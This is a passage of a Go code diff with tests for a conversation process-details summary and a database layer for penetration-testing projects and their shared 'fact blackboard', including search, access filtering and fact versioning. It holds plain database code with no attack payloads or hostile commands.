db, conversationID, messageID := setupProcessDetailsSummaryTest(t)
|
||||||
|
for i := 0; i < 2; i++ {
|
||||||
|
if err := db.AddProcessDetail(messageID, conversationID, "tool_call", "call", map[string]interface{}{
|
||||||
|
"toolName": "execute", "toolCallId": "legacy-reused-id",
|
||||||
|
}); err != nil {
|
||||||
|
t.Fatalf("AddProcessDetail(tool_call): %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for i := 0; i < 2; i++ {
|
||||||
|
if err := db.AddProcessDetail(messageID, conversationID, "tool_result", "result", map[string]interface{}{
|
||||||
|
"toolName": "execute", "toolCallId": "legacy-reused-id", "success": true,
|
||||||
|
}); err != nil {
|
||||||
|
t.Fatalf("AddProcessDetail(tool_result): %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
summary, err := db.GetProcessDetailsSummary(messageID)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("GetProcessDetailsSummary: %v", err)
|
||||||
|
}
|
||||||
|
if len(summary.ToolExecutions) != 2 {
|
||||||
|
t.Fatalf("tool executions = %d, want 2", len(summary.ToolExecutions))
|
||||||
|
}
|
||||||
|
for i, execution := range summary.ToolExecutions {
|
||||||
|
if execution.Status != "completed" {
|
||||||
|
t.Fatalf("execution %d status = %q, want completed", i, execution.Status)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestProcessDetailsSummaryDoesNotReportPersistedOrphanAsRunning(t *testing.T) {
|
||||||
|
db, conversationID, messageID := setupProcessDetailsSummaryTest(t)
|
||||||
|
if err := db.AddProcessDetail(messageID, conversationID, "tool_call", "call", map[string]interface{}{
|
||||||
|
"toolName": "execute", "toolCallId": "orphan",
|
||||||
|
}); err != nil {
|
||||||
|
t.Fatalf("AddProcessDetail(tool_call): %v", err)
|
||||||
|
}
|
||||||
|
summary, err := db.GetProcessDetailsSummary(messageID)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("GetProcessDetailsSummary: %v", err)
|
||||||
|
}
|
||||||
|
if len(summary.ToolExecutions) != 1 || summary.ToolExecutions[0].Status != "result_missing" {
|
||||||
|
t.Fatalf("tool executions = %#v, want result_missing", summary.ToolExecutions)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestProcessDetailsSummaryIncludesPersistedTurnTiming(t *testing.T) {
|
||||||
|
db, _, messageID := setupProcessDetailsSummaryTest(t)
|
||||||
|
startedAt := "2026-08-10T08:00:00Z"
|
||||||
|
completedAt := "2026-08-10T08:12:59Z"
|
||||||
|
if _, err := db.Exec(
|
||||||
|
"UPDATE messages SET content = ?, created_at = ?, updated_at = ? WHERE id = ?",
|
||||||
|
"done", startedAt, completedAt, messageID,
|
||||||
|
); err != nil {
|
||||||
|
t.Fatalf("update message timing: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
summary, err := db.GetProcessDetailsSummary(messageID)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("GetProcessDetailsSummary: %v", err)
|
||||||
|
}
|
||||||
|
if summary.Status != "completed" {
|
||||||
|
t.Fatalf("status = %q, want completed", summary.Status)
|
||||||
|
}
|
||||||
|
if summary.StartedAt == nil || summary.CompletedAt == nil {
|
||||||
|
t.Fatalf("timing missing: %#v", summary)
|
||||||
|
}
|
||||||
|
if want := int64((12*time.Minute + 59*time.Second) / time.Millisecond); summary.DurationMs != want {
|
||||||
|
t.Fatalf("durationMs = %d, want %d", summary.DurationMs, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestProcessDetailsSummaryTreatsCancelledPlaceholderAsTerminal(t *testing.T) {
|
||||||
|
db, conversationID, messageID := setupProcessDetailsSummaryTest(t)
|
||||||
|
startedAt := "2026-08-10T08:00:00Z"
|
||||||
|
if _, err := db.Exec(
|
||||||
|
"UPDATE messages SET content = ?, created_at = ?, updated_at = ? WHERE id = ?",
|
||||||
|
"处理中...", startedAt, startedAt, messageID,
|
||||||
|
); err != nil {
|
||||||
|
t.Fatalf("update running placeholder: %v", err)
|
||||||
|
}
|
||||||
|
if _, err := db.Exec(`
|
||||||
|
INSERT INTO process_details (id, message_id, conversation_id, event_type, message, data, created_at)
|
||||||
|
VALUES ('cancelled-detail', ?, ?, 'cancelled', 'interrupted', '{}', '2026-08-10T08:02:05Z')`,
|
||||||
|
messageID, conversationID); err != nil {
|
||||||
|
t.Fatalf("insert cancelled detail: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
summary, err := db.GetProcessDetailsSummary(messageID)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("GetProcessDetailsSummary: %v", err)
|
||||||
|
}
|
||||||
|
if summary.Status != "cancelled" {
|
||||||
|
t.Fatalf("status = %q, want cancelled", summary.Status)
|
||||||
|
}
|
||||||
|
if summary.CompletedAt == nil {
|
||||||
|
t.Fatal("cancelled summary should expose a fixed completion time")
|
||||||
|
}
|
||||||
|
if want := int64((2*time.Minute + 5*time.Second) / time.Millisecond); summary.DurationMs != want {
|
||||||
|
t.Fatalf("durationMs = %d, want %d", summary.DurationMs, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func setupProcessDetailsSummaryTest(t *testing.T) (*DB, string, string) {
|
||||||
|
t.Helper()
|
||||||
|
db, err := NewDB(filepath.Join(t.TempDir(), "process-details.db"), zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewDB: %v", err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = db.Close() })
|
||||||
|
conversation, err := db.CreateConversation("process details", ConversationCreateMeta{})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("CreateConversation: %v", err)
|
||||||
|
}
|
||||||
|
message, err := db.AddMessage(conversation.ID, "assistant", "done", nil)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("AddMessage: %v", err)
|
||||||
|
}
|
||||||
|
return db, conversation.ID, message.ID
|
||||||
|
}
|
||||||
@@ -0,0 +1,635 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"database/sql"
|
||||||
|
"fmt"
|
||||||
|
"regexp"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/google/uuid"
|
||||||
|
)
|
||||||
|
|
||||||
|
var factKeyPattern = regexp.MustCompile(`^[a-zA-Z0-9][a-zA-Z0-9._/-]*$`)
|
||||||
|
|
||||||
|
// ValidateFactKey 校验事实 key(项目内唯一标识)。
|
||||||
|
func ValidateFactKey(key string) error {
|
||||||
|
key = strings.TrimSpace(key)
|
||||||
|
if key == "" {
|
||||||
|
return fmt.Errorf("fact_key 不能为空")
|
||||||
|
}
|
||||||
|
if len(key) > 128 {
|
||||||
|
return fmt.Errorf("fact_key 过长(最多 128 字符)")
|
||||||
|
}
|
||||||
|
if !factKeyPattern.MatchString(key) {
|
||||||
|
return fmt.Errorf("fact_key 格式无效,仅允许字母、数字及 . _ / -,且须以字母或数字开头(支持驼峰命名)")
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Project 渗透测试项目(跨对话共享黑板)。
|
||||||
|
type Project struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
Name string `json:"name"`
|
||||||
|
Description string `json:"description,omitempty"`
|
||||||
|
ScopeJSON string `json:"scope_json,omitempty"`
|
||||||
|
Status string `json:"status"` // active | archived
|
||||||
|
Pinned bool `json:"pinned"`
|
||||||
|
CreatedAt time.Time `json:"created_at"`
|
||||||
|
UpdatedAt time.Time `json:"updated_at"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// ProjectFact 项目事实(黑板条目)。
|
||||||
|
type ProjectFact struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
ProjectID string `json:"project_id"`
|
||||||
|
FactKey string `json:"fact_key"`
|
||||||
|
Category string `json:"category"`
|
||||||
|
Summary string `json:"summary"`
|
||||||
|
Body string `json:"body"`
|
||||||
|
Confidence string `json:"confidence"` // confirmed | tentative | deprecated
|
||||||
|
SourceConversationID string `json:"source_conversation_id,omitempty"`
|
||||||
|
SourceMessageID string `json:"source_message_id,omitempty"`
|
||||||
|
Pinned bool `json:"pinned"`
|
||||||
|
RelatedVulnerabilityID string `json:"related_vulnerability_id,omitempty"`
|
||||||
|
CreatedAt time.Time `json:"created_at"`
|
||||||
|
UpdatedAt time.Time `json:"updated_at"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// ProjectFactListFilter 事实列表筛选。
|
||||||
|
type ProjectFactListFilter struct {
|
||||||
|
Category string
|
||||||
|
Confidence string
|
||||||
|
Search string
|
||||||
|
RelatedVulnerabilityID string
|
||||||
|
ExcludeDeprecated bool // 为 true 时排除 confidence=deprecated
|
||||||
|
}
|
||||||
|
|
||||||
|
// CreateProject 创建项目。
|
||||||
|
func (db *DB) CreateProject(p *Project) (*Project, error) {
|
||||||
|
if p.ID == "" {
|
||||||
|
p.ID = uuid.New().String()
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(p.Status) == "" {
|
||||||
|
p.Status = "active"
|
||||||
|
}
|
||||||
|
now := time.Now()
|
||||||
|
if p.CreatedAt.IsZero() {
|
||||||
|
p.CreatedAt = now
|
||||||
|
}
|
||||||
|
p.UpdatedAt = now
|
||||||
|
|
||||||
|
_, err := db.Exec(
|
||||||
|
`INSERT INTO projects (id, name, description, scope_json, status, pinned, created_at, updated_at)
|
||||||
|
VALUES (?, ?, ?, ?, ?, ?, ?, ?)`,
|
||||||
|
p.ID, p.Name, p.Description, p.ScopeJSON, p.Status, boolToInt(p.Pinned), p.CreatedAt, p.UpdatedAt,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("创建项目失败: %w", err)
|
||||||
|
}
|
||||||
|
return p, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetProject 获取项目。
|
||||||
|
func (db *DB) GetProject(id string) (*Project, error) {
|
||||||
|
var p Project
|
||||||
|
var pinned int
|
||||||
|
var createdAt, updatedAt string
|
||||||
|
err := db.QueryRow(
|
||||||
|
`SELECT id, name, COALESCE(description,''), COALESCE(scope_json,''), status, pinned, created_at, updated_at
|
||||||
|
FROM projects WHERE id = ?`, id,
|
||||||
|
).Scan(&p.ID, &p.Name, &p.Description, &p.ScopeJSON, &p.Status, &pinned, &createdAt, &updatedAt)
|
||||||
|
if err != nil {
|
||||||
|
if err == sql.ErrNoRows {
|
||||||
|
return nil, fmt.Errorf("项目不存在")
|
||||||
|
}
|
||||||
|
return nil, fmt.Errorf("获取项目失败: %w", err)
|
||||||
|
}
|
||||||
|
p.Pinned = pinned != 0
|
||||||
|
p.CreatedAt = parseDBTime(createdAt)
|
||||||
|
p.UpdatedAt = parseDBTime(updatedAt)
|
||||||
|
return &p, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetProjectName returns a project display name without loading the full record.
|
||||||
|
func (db *DB) GetProjectName(id string) (string, error) {
|
||||||
|
var name string
|
||||||
|
err := db.QueryRow(`SELECT name FROM projects WHERE id = ?`, id).Scan(&name)
|
||||||
|
if err != nil {
|
||||||
|
if err == sql.ErrNoRows {
|
||||||
|
return "", fmt.Errorf("项目不存在")
|
||||||
|
}
|
||||||
|
return "", fmt.Errorf("获取项目名称失败: %w", err)
|
||||||
|
}
|
||||||
|
return strings.TrimSpace(name), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func projectListSearchPattern(q string) string {
|
||||||
|
q = strings.TrimSpace(q)
|
||||||
|
if q == "" {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
var b strings.Builder
|
||||||
|
b.WriteByte('%')
|
||||||
|
for _, r := range q {
|
||||||
|
switch r {
|
||||||
|
case '%', '_', '\\':
|
||||||
|
b.WriteByte('\\')
|
||||||
|
b.WriteRune(r)
|
||||||
|
default:
|
||||||
|
b.WriteRune(r)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
b.WriteByte('%')
|
||||||
|
return b.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
func appendProjectListFilters(query string, args []interface{}, status, search string) (string, []interface{}) {
|
||||||
|
if s := strings.TrimSpace(status); s != "" {
|
||||||
|
query += " AND status = ?"
|
||||||
|
args = append(args, s)
|
||||||
|
}
|
||||||
|
if pattern := projectListSearchPattern(search); pattern != "" {
|
||||||
|
query += ` AND (LOWER(name) LIKE LOWER(?) ESCAPE '\' OR LOWER(COALESCE(description,'')) LIKE LOWER(?) ESCAPE '\' OR LOWER(id) LIKE LOWER(?) ESCAPE '\')`
|
||||||
|
args = append(args, pattern, pattern, pattern)
|
||||||
|
}
|
||||||
|
return query, args
|
||||||
|
}
|
||||||
|
|
||||||
|
func appendProjectAccessFilter(query string, args []interface{}, userID, scope string) (string, []interface{}) {
|
||||||
|
userID = strings.TrimSpace(userID)
|
||||||
|
if userID == "" || scope == RBACScopeAll {
|
||||||
|
return query, args
|
||||||
|
}
|
||||||
|
query += ` AND (owner_user_id = ? OR EXISTS (
|
||||||
|
SELECT 1 FROM rbac_resource_assignments ra
|
||||||
|
WHERE ra.user_id = ? AND ra.resource_type = 'project' AND ra.resource_id = projects.id
|
||||||
|
))`
|
||||||
|
args = append(args, userID, userID)
|
||||||
|
return query, args
|
||||||
|
}
|
||||||
|
|
||||||
|
// CountProjects 统计项目数量。
|
||||||
|
func (db *DB) CountProjects(status, search string) (int, error) {
|
||||||
|
query := `SELECT COUNT(*) FROM projects WHERE 1=1`
|
||||||
|
args := []interface{}{}
|
||||||
|
query, args = appendProjectListFilters(query, args, status, search)
|
||||||
|
var count int
|
||||||
|
if err := db.QueryRow(query, args...).Scan(&count); err != nil {
|
||||||
|
return 0, fmt.Errorf("统计项目失败: %w", err)
|
||||||
|
}
|
||||||
|
return count, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) CountProjectsForAccess(status, search, userID, scope string) (int, error) {
|
||||||
|
query := `SELECT COUNT(*) FROM projects WHERE 1=1`
|
||||||
|
args := []interface{}{}
|
||||||
|
query, args = appendProjectListFilters(query, args, status, search)
|
||||||
|
query, args = appendProjectAccessFilter(query, args, userID, scope)
|
||||||
|
var count int
|
||||||
|
if err := db.QueryRow(query, args...).Scan(&count); err != nil {
|
||||||
|
return 0, fmt.Errorf("统计项目失败: %w", err)
|
||||||
|
}
|
||||||
|
return count, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ListProjects 列出项目。
|
||||||
|
func (db *DB) ListProjects(status, search string, limit, offset int) ([]*Project, error) {
|
||||||
|
if limit <= 0 {
|
||||||
|
limit = 50
|
||||||
|
}
|
||||||
|
query := `SELECT id, name, COALESCE(description,''), COALESCE(scope_json,''), status, pinned, created_at, updated_at
|
||||||
|
FROM projects WHERE 1=1`
|
||||||
|
args := []interface{}{}
|
||||||
|
query, args = appendProjectListFilters(query, args, status, search)
|
||||||
|
query += " ORDER BY pinned DESC, updated_at DESC LIMIT ? OFFSET ?"
|
||||||
|
args = append(args, limit, offset)
|
||||||
|
|
||||||
|
rows, err := db.Query(query, args...)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("列出项目失败: %w", err)
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
var out []*Project
|
||||||
|
for rows.Next() {
|
||||||
|
var p Project
|
||||||
|
var pinned int
|
||||||
|
var createdAt, updatedAt string
|
||||||
|
if err := rows.Scan(&p.ID, &p.Name, &p.Description, &p.ScopeJSON, &p.Status, &pinned, &createdAt, &updatedAt); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
p.Pinned = pinned != 0
|
||||||
|
p.CreatedAt = parseDBTime(createdAt)
|
||||||
|
p.UpdatedAt = parseDBTime(updatedAt)
|
||||||
|
out = append(out, &p)
|
||||||
|
}
|
||||||
|
return out, rows.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) ListProjectsForAccess(status, search string, limit, offset int, userID, scope string) ([]*Project, error) {
|
||||||
|
if scope == RBACScopeAll || strings.TrimSpace(userID) == "" {
|
||||||
|
return db.ListProjects(status, search, limit, offset)
|
||||||
|
}
|
||||||
|
if limit <= 0 {
|
||||||
|
limit = 50
|
||||||
|
}
|
||||||
|
query := `SELECT id, name, COALESCE(description,''), COALESCE(scope_json,''), status, pinned, created_at, updated_at
|
||||||
|
FROM projects WHERE 1=1`
|
||||||
|
args := []interface{}{}
|
||||||
|
query, args = appendProjectListFilters(query, args, status, search)
|
||||||
|
query, args = appendProjectAccessFilter(query, args, userID, scope)
|
||||||
|
query += " ORDER BY pinned DESC, updated_at DESC LIMIT ? OFFSET ?"
|
||||||
|
args = append(args, limit, offset)
|
||||||
|
|
||||||
|
rows, err := db.Query(query, args...)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("列出项目失败: %w", err)
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
var out []*Project
|
||||||
|
for rows.Next() {
|
||||||
|
var p Project
|
||||||
|
var pinned int
|
||||||
|
var createdAt, updatedAt string
|
||||||
|
if err := rows.Scan(&p.ID, &p.Name, &p.Description, &p.ScopeJSON, &p.Status, &pinned, &createdAt, &updatedAt); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
p.Pinned = pinned != 0
|
||||||
|
p.CreatedAt = parseDBTime(createdAt)
|
||||||
|
p.UpdatedAt = parseDBTime(updatedAt)
|
||||||
|
out = append(out, &p)
|
||||||
|
}
|
||||||
|
return out, rows.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
// UpdateProject 更新项目。
|
||||||
|
func (db *DB) UpdateProject(p *Project) error {
|
||||||
|
p.UpdatedAt = time.Now()
|
||||||
|
_, err := db.Exec(
|
||||||
|
`UPDATE projects SET name = ?, description = ?, scope_json = ?, status = ?, pinned = ?, updated_at = ? WHERE id = ?`,
|
||||||
|
p.Name, p.Description, p.ScopeJSON, p.Status, boolToInt(p.Pinned), p.UpdatedAt, p.ID,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("更新项目失败: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// DeleteProject 删除项目(级联删除事实;对话 project_id 置空由 FK 处理;其他资源 project_id 置空)。
|
||||||
|
func (db *DB) DeleteProject(id string) error {
|
||||||
|
if _, err := db.Exec(`UPDATE vulnerabilities SET project_id = NULL WHERE project_id = ?`, id); err != nil {
|
||||||
|
return fmt.Errorf("解除漏洞项目关联失败: %w", err)
|
||||||
|
}
|
||||||
|
if _, err := db.Exec(`UPDATE assets SET project_id = NULL WHERE project_id = ?`, id); err != nil {
|
||||||
|
return fmt.Errorf("解除资产项目关联失败: %w", err)
|
||||||
|
}
|
||||||
|
if _, err := db.Exec(`UPDATE webshell_connections SET project_id = NULL WHERE project_id = ?`, id); err != nil {
|
||||||
|
return fmt.Errorf("解除 WebShell 项目关联失败: %w", err)
|
||||||
|
}
|
||||||
|
if _, err := db.Exec(`UPDATE c2_listeners SET project_id = NULL WHERE project_id = ?`, id); err != nil {
|
||||||
|
return fmt.Errorf("解除 C2 监听器项目关联失败: %w", err)
|
||||||
|
}
|
||||||
|
_, err := db.Exec(`DELETE FROM projects WHERE id = ?`, id)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("删除项目失败: %w", err)
|
||||||
|
}
|
||||||
|
db.removeProjectScopedDirs(id)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetConversationProjectID 返回对话绑定的项目 ID。
|
||||||
|
func (db *DB) GetConversationProjectID(conversationID string) (string, error) {
|
||||||
|
var pid sql.NullString
|
||||||
|
err := db.QueryRow(`SELECT project_id FROM conversations WHERE id = ?`, conversationID).Scan(&pid)
|
||||||
|
if err != nil {
|
||||||
|
if err == sql.ErrNoRows {
|
||||||
|
return "", fmt.Errorf("对话不存在")
|
||||||
|
}
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
if pid.Valid {
|
||||||
|
return strings.TrimSpace(pid.String), nil
|
||||||
|
}
|
||||||
|
return "", nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// SetConversationProjectID 设置对话所属项目(空字符串表示解除绑定)。
|
||||||
|
func (db *DB) SetConversationProjectID(conversationID, projectID string) error {
|
||||||
|
projectID = strings.TrimSpace(projectID)
|
||||||
|
if projectID != "" {
|
||||||
|
if _, err := db.GetProject(projectID); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
var val interface{}
|
||||||
|
if projectID == "" {
|
||||||
|
val = nil
|
||||||
|
} else {
|
||||||
|
val = projectID
|
||||||
|
}
|
||||||
|
_, err := db.Exec(`UPDATE conversations SET project_id = ?, updated_at = ? WHERE id = ?`, val, time.Now(), conversationID)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("设置对话项目失败: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ListProjectFactsForIndex 列出用于黑板索引注入的事实(不含 deprecated,除非 includeDeprecated)。
|
||||||
|
func (db *DB) ListProjectFactsForIndex(projectID string, includeDeprecated bool) ([]*ProjectFact, error) {
|
||||||
|
query := `SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
|
||||||
|
COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
|
||||||
|
COALESCE(related_vulnerability_id,''), created_at, updated_at
|
||||||
|
FROM project_facts WHERE project_id = ?`
|
||||||
|
args := []interface{}{projectID}
|
||||||
|
if !includeDeprecated {
|
||||||
|
query += " AND confidence != 'deprecated'"
|
||||||
|
}
|
||||||
|
query += " ORDER BY pinned DESC, updated_at DESC"
|
||||||
|
rows, err := db.Query(query, args...)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
return scanProjectFacts(rows)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ListProjectFacts 分页列出项目事实。
|
||||||
|
func (db *DB) ListProjectFacts(projectID string, filter ProjectFactListFilter, limit, offset int) ([]*ProjectFact, error) {
|
||||||
|
if limit <= 0 {
|
||||||
|
limit = 100
|
||||||
|
}
|
||||||
|
query := `SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
|
||||||
|
COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
|
||||||
|
COALESCE(related_vulnerability_id,''), created_at, updated_at
|
||||||
|
FROM project_facts WHERE project_id = ?`
|
||||||
|
args := []interface{}{projectID}
|
||||||
|
if c := strings.TrimSpace(filter.Category); c != "" {
|
||||||
|
query += " AND category = ?"
|
||||||
|
args = append(args, c)
|
||||||
|
}
|
||||||
|
if c := strings.TrimSpace(filter.Confidence); c != "" {
|
||||||
|
query += " AND confidence = ?"
|
||||||
|
args = append(args, c)
|
||||||
|
}
|
||||||
|
if filter.ExcludeDeprecated {
|
||||||
|
query += " AND confidence != 'deprecated'"
|
||||||
|
}
|
||||||
|
if rid := strings.TrimSpace(filter.RelatedVulnerabilityID); rid != "" {
|
||||||
|
query += " AND related_vulnerability_id = ?"
|
||||||
|
args = append(args, rid)
|
||||||
|
}
|
||||||
|
if s := strings.TrimSpace(filter.Search); s != "" {
|
||||||
|
pat := "%" + s + "%"
|
||||||
|
query += " AND (fact_key LIKE ? OR summary LIKE ? OR body LIKE ?)"
|
||||||
|
args = append(args, pat, pat, pat)
|
||||||
|
}
|
||||||
|
query += " ORDER BY pinned DESC, updated_at DESC LIMIT ? OFFSET ?"
|
||||||
|
args = append(args, limit, offset)
|
||||||
|
|
||||||
|
rows, err := db.Query(query, args...)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
return scanProjectFacts(rows)
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetProjectFactByKey 按 key 获取事实。
|
||||||
|
func (db *DB) GetProjectFactByKey(projectID, factKey string) (*ProjectFact, error) {
|
||||||
|
row := db.QueryRow(
|
||||||
|
`SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
|
||||||
|
COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
|
||||||
|
COALESCE(related_vulnerability_id,''), created_at, updated_at
|
||||||
|
FROM project_facts WHERE project_id = ? AND fact_key = ?`,
|
||||||
|
projectID, factKey,
|
||||||
|
)
|
||||||
|
return scanProjectFactRow(row)
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetProjectFact 按 ID 获取事实。
|
||||||
|
func (db *DB) GetProjectFact(id string) (*ProjectFact, error) {
|
||||||
|
row := db.QueryRow(
|
||||||
|
`SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
|
||||||
|
COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
|
||||||
|
COALESCE(related_vulnerability_id,''), created_at, updated_at
|
||||||
|
FROM project_facts WHERE id = ?`, id,
|
||||||
|
)
|
||||||
|
return scanProjectFactRow(row)
|
||||||
|
}
|
||||||
|
|
||||||
|
// mergeFactBodyOnUpdate 更新时若 incoming body 为空则保留已有内容,避免仅改 summary 时丢失攻击链。
|
||||||
|
func mergeFactBodyOnUpdate(incoming, existing string) string {
|
||||||
|
if strings.TrimSpace(incoming) == "" {
|
||||||
|
return existing
|
||||||
|
}
|
||||||
|
return incoming
|
||||||
|
}
|
||||||
|
|
||||||
|
// UpsertProjectFact 创建或更新事实(按 project_id + fact_key)。
|
||||||
|
func (db *DB) UpsertProjectFact(f *ProjectFact) (*ProjectFact, error) {
|
||||||
|
if err := ValidateFactKey(f.FactKey); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(f.Category) == "" {
|
||||||
|
f.Category = "note"
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(f.Confidence) == "" {
|
||||||
|
f.Confidence = "tentative"
|
||||||
|
}
|
||||||
|
now := time.Now()
|
||||||
|
|
||||||
|
existing, err := db.GetProjectFactByKey(f.ProjectID, f.FactKey)
|
||||||
|
if err == nil && existing != nil {
|
||||||
|
f.ID = existing.ID
|
||||||
|
f.CreatedAt = existing.CreatedAt
|
||||||
|
f.UpdatedAt = now
|
||||||
|
f.Body = mergeFactBodyOnUpdate(f.Body, existing.Body)
|
||||||
|
if strings.TrimSpace(f.Category) == "" {
|
||||||
|
f.Category = existing.Category
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(f.Confidence) == "" {
|
||||||
|
f.Confidence = existing.Confidence
|
||||||
|
}
|
||||||
|
_, err = db.Exec(
|
||||||
|
`UPDATE project_facts SET category = ?, summary = ?, body = ?, confidence = ?,
|
||||||
|
source_conversation_id = COALESCE(?, source_conversation_id),
|
||||||
|
source_message_id = COALESCE(?, source_message_id),
|
||||||
|
pinned = ?, related_vulnerability_id = ?, updated_at = ?
|
||||||
|
WHERE id = ?`,
|
||||||
|
f.Category, f.Summary, f.Body, f.Confidence,
|
||||||
|
nullIfEmpty(f.SourceConversationID), nullIfEmpty(f.SourceMessageID), boolToInt(f.Pinned),
|
||||||
|
nullIfEmpty(f.RelatedVulnerabilityID), f.UpdatedAt, f.ID,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("更新事实失败: %w", err)
|
||||||
|
}
|
||||||
|
return f, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
if f.ID == "" {
|
||||||
|
f.ID = uuid.New().String()
|
||||||
|
}
|
||||||
|
f.CreatedAt = now
|
||||||
|
f.UpdatedAt = now
|
||||||
|
_, err = db.Exec(
|
||||||
|
`INSERT INTO project_facts (
|
||||||
|
id, project_id, fact_key, category, summary, body, confidence,
|
||||||
|
source_conversation_id, source_message_id, pinned, related_vulnerability_id,
|
||||||
|
created_at, updated_at
|
||||||
|
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
|
||||||
|
f.ID, f.ProjectID, f.FactKey, f.Category, f.Summary, f.Body, f.Confidence,
|
||||||
|
nullIfEmpty(f.SourceConversationID), nullIfEmpty(f.SourceMessageID), boolToInt(f.Pinned),
|
||||||
|
nullIfEmpty(f.RelatedVulnerabilityID),
|
||||||
|
f.CreatedAt, f.UpdatedAt,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("创建事实失败: %w", err)
|
||||||
|
}
|
||||||
|
return f, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// DeprecateProjectFact 将事实标记为 deprecated(关联边同步 deprecated)。
|
||||||
|
func (db *DB) DeprecateProjectFact(projectID, factKey string) error {
|
||||||
|
res, err := db.Exec(
|
||||||
|
`UPDATE project_facts SET confidence = 'deprecated', updated_at = ? WHERE project_id = ? AND fact_key = ?`,
|
||||||
|
time.Now(), projectID, factKey,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
n, _ := res.RowsAffected()
|
||||||
|
if n == 0 {
|
||||||
|
return fmt.Errorf("事实不存在")
|
||||||
|
}
|
||||||
|
return db.DeprecateProjectFactEdgesForKey(projectID, factKey)
|
||||||
|
}
|
||||||
|
|
||||||
|
// RestoreProjectFact 将已废弃事实恢复为 tentative 或 confirmed(重新参与黑板索引)。
|
||||||
|
func (db *DB) RestoreProjectFact(projectID, factKey, confidence string) error {
|
||||||
|
confidence = strings.TrimSpace(strings.ToLower(confidence))
|
||||||
|
if confidence == "" {
|
||||||
|
confidence = "tentative"
|
||||||
|
}
|
||||||
|
if confidence != "confirmed" && confidence != "tentative" {
|
||||||
|
return fmt.Errorf("confidence 须为 confirmed 或 tentative")
|
||||||
|
}
|
